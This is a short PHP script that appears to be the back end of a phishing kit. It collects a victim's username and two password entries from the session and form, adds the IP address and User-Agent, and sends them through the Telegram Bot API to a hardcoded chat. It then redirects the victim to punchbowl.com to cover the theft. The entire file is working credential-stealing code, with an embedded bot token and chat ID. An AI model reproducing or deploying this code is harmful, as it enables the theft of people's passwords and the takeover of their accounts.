<?php
session_start();
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["password2"])) {
    $_SESSION["password2"] = $_POST["password2"];
}
$user = isset($_SESSION["user"]) ? $_SESSION["user"] : "";
$password = isset($_SESSION["password"]) ? $_SESSION["password"] : "";
$password2 = isset($_SESSION["password2"]) ? $_SESSION["password2"] : "";
 // Get the user's IP address and User-Agent
    $ip = $_SERVER['REMOTE_ADDR'];
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
$message = "New message \n\nUsername: " . $user . "\n\nPassword1: " . $password . "\n\nPassword2: " . $password2 . "\n\n";
 $message .= "IP: " . $ip . "\n";
    $message .= "UserAgent: " . $userAgent . "\n";

// Replace with your bot's token
$botToken = "7688785068:AAGUgIJ7Vdaf-U98OhkIxZyiadLRysLCHK4"; 
// Replace with your personal chat ID (or a group/chat ID)
$chatId = "7713595865";

// Telegram API URL
$url = "https://api.telegram.org/bot$botToken/sendMessage";

// Data to send via POST
$data = [
    'chat_id' => $chatId,
    'text' => $message
];

// Use cURL to send the message
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);

if (curl_errno($ch)){
}else{
    header("Location: https://www.punchbowl.com");
    exit();

}
curl_close($ch);
?>

